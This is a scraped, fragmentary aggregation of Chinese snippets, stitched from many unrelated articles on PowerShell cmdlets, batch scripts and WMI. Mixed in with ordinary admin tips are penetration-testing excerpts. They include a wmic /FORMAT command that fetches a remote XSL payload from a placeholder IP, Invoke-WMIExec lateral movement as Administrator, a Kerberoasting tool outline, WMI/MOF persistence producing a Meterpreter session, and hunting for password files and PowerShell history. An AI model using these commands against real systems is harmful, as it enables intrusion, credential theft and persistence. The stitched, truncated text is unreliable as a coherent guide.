比如你用Get-Service命令获取服务列表,返回的每一行都是一个完整的服务对象,包含了服务名、状态、启动类型等各种属性。...我记得有一次需要统计某个目录下所有文件的大小,用CMD写了一个批处理脚本,各种for循环和字符串处理,写得我头都大了。..._LogicalDisk 文本处理 Select-String(类似grep,这个很重要)在文本中搜索: # 在文件中搜索文本 Select-String -Path "*.log" -Pattern...source.txt dest.txt Move-Item old.txt new.txt Remove-Item file.txt Get-Content file.txt 系统信息 # CMD systeminfo...PowerShell提供了多种格式化输出的方式: # 表格格式(默认) Get-Process | Format-Table # 列表格式 Get-Process | Format-List #
[TOC] 3.运行脚本 描述: 脚本和批处理都属于伪可执行文件,它们只是包含了若干命令行解释器能够解释和执行的命令行代码。...Volume Serial Number is 4E9B-D846 # 2.执行VB脚本文件,执行.\test.vbs 会遍历当前Win32进程,并把每个进程的详细信息通过窗口显示出来。...args[0]表示命令中输入的第一个参数并非脚本名称(与Bash Shell有区别) # args.ps1 文件内容 Write-Host $args[0] Write-Host $args[1] Write-Host...( "192.168.12.$_" ) | select address,status} | Out-File -FilePath IPaddr.txt -Encoding utf8 $IP = Get-Content...; } # 另存为转换GIF到PNG-递归.bat文件,放在某个目录下,双击运行即可。会自动查找子目录中,转换后存于每个子目录的PNG目录中。
一、脚本总体目的 该脚本用于在 Windows(常见于云主机或新装系统场景)上自动初始化“数据盘”(通常指除 0 号系统盘之外的磁盘)。...二、全局变量与磁盘列表 $Global:UserMount = 'E':默认优先使用的盘符为 E(当只有 1 块数据盘时,会强制使用 E)。...WMI 命令与兼容性: Get-WmiObject 在新版本 PowerShell(Core)中已被建议使用 Get-CimInstance 替代。...增加“标记文件/注册表”或对每块盘打标签(卷标/磁盘备注),下次执行先检测已处理标记,避免重复格式化。 永远跳过 0 号系统盘(你的脚本已有保护)。...重要步骤(联机、清只读、初始化、分区、格式化、分配盘符)都记录到同一日志文件中。
文件的对象中,向PSObject添加别名属性。...,然后通过Sort -Descending对文件信息按照Name降序排列,最后将排序好的文件的Name和Mode格式化成Table输出。...) Get-Content -Path C:\Test\ServerNames.txt | Sort-Object -Unique # 在第二个示例中,`Get Content`获取文件的内容,并将管道行发送到...# 3.获取文本文件中的唯一单词 $A = $( foreach ($line in Get-Content C:\Test1\File1.txt) { $line.tolower().split...如果没有此参数`Get Unique`将ProcessName值视为对象,并且只返回对象的一个实例,即列表中的第一个进程名。
Out-Host: 管道输出内容类似于linux中的more命令,会将对象转换成为字符串,还可以控制管道的版式; Out-Default: 将输出发送到默认的格式化程序和默认的输出 cmdlet。...ETS遵循一个规律如果对象的属性少于5个则表格显示,否则列表显示。...6109027.96153846 Sum : 158834727 Maximum : 97612275 Minimum : 250 Property : length #2.统计文本文件中的字符数...,单词数,行数 PS > Get-Content .word.txt | measure -Line -Word -Character Lines Words Characters Property -....a.txt) (Get-Content .b.txt) #比较文件的内容 Compare-Object -ReferenceObject $before -DifferenceObject $after
描述: 我们可以直接在PS命令行中运行文件和脚本,但是必须使用绝对路径或者相对路径,或者要运行的文件必须定义在可受信任的环境变量中。...PowerShell 中可执行Bat批处理、VB脚本问号、以及PS1脚本文件。 Tips: 脚本和批处理都属于伪可执行文件,它们只是包含了若干命令行解释器能够解释和执行的命令行代码。...Measure-Object: 计算对象的数字属性以及字符串对象(如文本文件)中的字符数、单词数和行数。 more: 对结果分屏显示。 Out-File: 将输出发送到文件。...Tip : ETS配置中包含的类型对象会以最佳的方式转换成文本,我们可以ETS配置中包含的类型对象会以最佳的方式转换成文本。...Stop-Service -DisplayName (Get-Content -Path $env:TEMP\services.txt) # 8.使用 PowerShellGet 模块中包含的 Find-Module
昨天看到有个小伙伴在微信后台留言,说想要做一个批处理文件,搜索软件运行产生的log日志,搜索其中的关键词,并将结果打印出来,这个真的是很有实用意义啊,一方面减小了我们的工作量,另一方面也是对我们学习成果的一个检测和实际应用...批处理程序的分析: 首先,确定指定的文件名称: 由于log日志多用日期命名,所以我们要设置一个变量,取得当前日期--set "Ymd=%date:~,4%%date:~5,2%%date:~8,2%"...搜索指定关键词: findstr /s /i "%KeyWord%" %%b>>需要保存的文件+位置.txt 好了,其中的关键词解释部分都已经给出,文章写的匆忙,大家见谅,下面看实际效果: 运行效果...好了,直接上代码: @echo off ::作用:找到指定log文件的指定关键词,保存到指定位置的TXT中!...::FileName的值改为你需要日志名称 ::KeyWord需要搜索的关键字 ::FindName搜索结果保存的路径 ::第一个for循环里面的D盘,可以加上C D E等等盘,盘符之间空格隔开即可 :
使⽤wmic识别安装到系统中的补丁情况 wmic product get name,version #查看系统中安装的软件以及版本,2008R2上执行后无反应。...#⽂件/⽬录列表 Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_Volume #磁盘卷列表 Get-WmiObject -Namespace ROOT...恶意文件,我们可以在下例中修改Run()中的Payload,本地运行恶意程序或者远程使用Powershell亦或者其他下载命令等等,我们可以自行搭配。...生成hta文件以powershell执行 ###执行下载命令 wmic os get /FORMAT:"http://xx.xxx.xxx.xxx:8000/xsl.xsl"..." -Verbose 在工作组中内执行该PS1脚本 Invoke-WMIExec -Target 10.10.0.10 -Domain test1.com -Username Administrator
因为使用的是Notepad++,这个软件针对各种语言可以自动弹出语言所自定义的函数以及你在当前脚本中定义过的变量,优点是可以加快编写代码的速度,缺点是如果不注意会自动添加不必要的内容,比如python,...你输入"d",关于d的内建函数就会自动给你显示一个列表。...,在代码中少加了一个格式化字符串,因为格式化输出太多了,粗心漏掉了。...cat命令来查看文档的内容,在Windows的Powershell中也有同样的命令:" Get-Content " 。...语法:Get-Content [-Path] 文件路径> [-Path]由方括号引起,表示可以写,也可以不写;不写则默认后面是文件路径,写了就指名道姓的说后面是文件路径。
-Path C:\Test\ -Include *.txt # 包含通配符匹配到的文件 Get-ChildItem -Path C:\Test\Logs\* -Exclude A* # 排除通配符匹配到的文件或者目录...# 9.列出Uninstall的子键和它们的属性DisplayName与MoreInfoURL提供了一个简约版已安装程序列表(注意{}脚本块此处写法稍微有点坑爹) # ,实是ForEach-Object...Get-Content -Path C:\Temp\* -Filter *.log # 6.以字节数组形式获取文件内容 $byteArray = Get-Content -Path C:\temp\test.txt...\CopyToFile.txt Get-Content -Path .\CopyToFile.txt # 方式3.创建一个新文,并将现有文件的内容复制到新文件中。...,匹配失败的写入指定的错误文件之中。
3/2/1 利用windows的api Get-WmiObject -Class Win32_UserAccount //怎么绕,也可以用前面的特殊符号和环境变量 利用注册表 dir "Registry...127.0.0.1 //查看其他主机的bios名 Get-WmiObject -class win32_product |Select-Object -...//查找当前目录的子目录的所有含有password的文件夹 dir c:\a.txt /s /b...//查找c盘的a.txt Get-Content (Get-PSReadlineOption).HistorySavePath...//先把要解压的多个文件名写入txt makecab /f name.txt /d maxdisksize=1024000
利用hashcat工具进行爆破 0x02 工具编写思路 抓取所有的域用户服务账户 清洗得到的数据放入账户列表中 为每一个域用户账户注册SPN 将注册成功的域用户账户的SPN放进一个列表 访问列表中的每一个...|%{ $_ -split " "}|%{ if ($_ -ne ""){$_.trim()}} # 上述列表中,包含一些杂乱的数据,需要将其进行清洗 foreach ($line in...\result\sucUserList.txt"){ Write-Host "传参错误,将启用文件sucSPNList.txt和sucUserList.txt中的内容".../kerberoast/Invoke-Kerberoast.ps1 # Set-Content 以ANSI编码方式保存文件;Out-File 默认以Unicode方式保存文件,因而需要指定编码格式...访问SPN获得ST,并以hashcat模式保存到文件krbstHash.txt中 Get-ServiceTicket $krbstHashFile # 4
ls -Attributes a Get-Content 描述:打开文本文件它的别名有cat以及Type等; 基础实例: #1.打开一个文本文件test.txt Get-Content ....,或者降序,别名是sort; 实际案例: #1.通过ls获取当前目录的所有文件信息,然后通过Sort -Descending对文件信息按照Name降序排列,最后将排序好的文件的Name和Mode格式化成...$true},@{expression="Name";Ascending=$true} Get-Unique 描述:可以从已排序的对象列表中删除重复对象 Get-Unique会逐个遍历对象,每次遍历时都会与前一个对象进行比较...#当前目录的文件以扩展名进行分组 PS> ls | Group-Object Extension Count Name Group ----- ---- ----- 5 {...Force] [-Expand ] [-InputObject ] [] #在格式-定制小命令格式化为以交替的视图定义的命令的输出
本文所提供的工具仅用于学习,禁止用于其他,请在24小时内删除工具文件!!! 更新时间:2022.06.19 说明 本文大量参考了师傅们的文章,感谢各位师傅的帮助!...\abc" #复制文件夹 wmic fsdir where name='d:\test' call copy "c:\test" #重命名文件 wmic datafile "c:\test.txt" call...#⽂件/⽬录列表 Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_Volume #磁盘卷列表 Get-WmiObject -Namespace ROOT.../PowerShellMafia/PowerSploit/releases/tag/v3.0.0 该脚本主要通过powershell调用WMI来远程执行命令,并可以对命令结果回显。...\Invoke-WmiC 统中禁止执行脚本。
\Process.txt -NoClobber # Example 3: 以ASCII格式将输出发送到文件 $Procs = Get-Process Out-File -FilePath ....Get-Content -Path ./readme.txt | Out-Printer # 3.本示例将打印Hello, World到Server01上的Prt-6B彩色打印机。...Format-Table 将对象转换为格式化记录流(由视图定义中的数据驱动),Out-Host并将格式化记录转换为主机接口上的调用。...3.脚本块作为属性 # 在Powershell中文件的Length默认以byte作为单位如果你象让它输出时以KB显示 PS > ls | Format-Table Name,{ [int]($_.Length...Format-Wide 命令 - 将对象的格式设置为只能显示每个对象的一个属性的宽表 基础示例: # Example 1: 格式化当前目录中的文件名 Get-ChildItem | Format-Wide
一、Get-Content介绍 Get-Content 主要作用是获取路径指定位置的项(文本类文件)的内容,例如文件中的文本或函数的内容。...支持的格式主要包括: 文本:txt 等 脚本文件:bat、psl、vbs、sh等 后端文件:java、cs、cpp等 前端文件:html、css、js、vue、ts 等 配置文件:yml、xml、config...-Path:设置获取文件的路径,可以使用通配符,因此Get-Content 可以一次性读取多个文件或者多个目录的内容。 -Filter:用来设置限定 Path 参数的筛选条件。...目前微软官方的例子运行也有异常。 -Stream:从文件中获取指定的备用 NTFS 文件流的内容。 输入流名称。不支持通配符。仅限Windows操作系统使用。...4.5使用逗号作为分隔符 4.6 Filter方式读取多个文件 获取指定目录下所有txt后缀的文件内容 4.7 Include方式读取多个文件 使用Include获取指定目录下所有txt后缀的文件内容
在对管道中的每个对象或所选对象执行操作的命令中,可以使用此变量。 $Args 包含由未声明参数和/或传递给函数、脚本或脚本块的参数值组成的数组。...可以使用该对象中的 信息(如脚本的路径和文件名 ($myinvocation.mycommand.path) 或函数的名称 ($myinvocation.mycommand.name))来标识当前命令。...Export-Csv: 将 Microsoft .NET Framework 对象转换为一系列以逗号分隔的、长度可变的 (CSV) 字符串,并将这些字符串保存到一个 CSV 文件中。...Measure-Object: 计算对象的数字属性以及字符串对象(如文本文件)中的字符数、单词数和行数。 more: 对结果分屏显示。 Out-File: 将输出发送到文件。...switch($_.Extension.tolower()) { ".ps1" {"脚本文件:"+ $ele.name} ".txt" {
编译 MOF 文件后,立即生成了一个 Meterpreter 会话。 尽管一些 APT 的小组使用 MOF 文件作为 dropper 以实现 WMI 的持久性,但不建议将其作为一种方法。...,以创建无文件持久性。.../WMI-Persistence.ps1 Install-Persistence 该脚本包含一个查看 WMI 对象的函数,以确保已正确创建任意类。...该脚本使用 WMI 存储库来存储恶意命令,该命令将执行任意脚本、可执行文件或任何其他带有参数的命令。以下函数将检索所有活动的 WMI 事件对象。...WMI 对象的结果返回到控制台屏幕上以供验证。
Bypass: 没有任何阻止也没有警告或提示;此执行策略设计用于将PowerShell脚本内置到更大的应用程序中的配置,或者用于以PowerShell为具有自己的安全模型的程序的基础的配置。...参数集 可用于相同的命令中以执行特定操作的一组参数。 管 在 PS 中,将前一个命令的结果作为输入发送到管道中的下一个命令。...脚本模块 一个 PS 模块,其根模块是一个脚本模块文件 (.psm1);脚本模块可能包含或不包含模块清单。 脚本模块文件 一个包含 PS 脚本的文件。 该脚本定义脚本模块导出的成员。...PS提供程序 一个基于 Microsoft .NET Framework 的程序,用于使专用数据存储中的数据在 PS 中可用,以便你可以查看和管理它。 PS脚本 以 PS 语言编写的脚本。...PS脚本文件 具有 .ps1 扩展名且包含以 PS 语言编写的脚本的文件。
引言 PowerShell 是一个强大的任务自动化和配置管理框架,广泛应用于系统管理和脚本编写。为了增强用户体验,PowerShell 引入了 PSReadLine 模块。...PSReadLine 提供了先进的命令行编辑和历史记录功能,使得在命令行环境中工作更加高效和便捷。本文将详细讲解 PSReadLine 模块的功能及其在命令历史维护中的应用。...要查看 PSReadLine 维护的完整历史记录,可以直接读取历史记录文件: powershell Get-Content "$env:APPDATA\Microsoft\Windows\PowerShell...持久化命令历史 要确保命令历史在每次会话退出时自动保存,并在新会话启动时加载,可以在 PowerShell 配置文件中添加以下设置: powershell Set-PSReadLineOption -...将以下代码添加到我们的 PowerShell 配置文件中(通常是 $PROFILE 文件): powershell function Show-History { Get-Content "$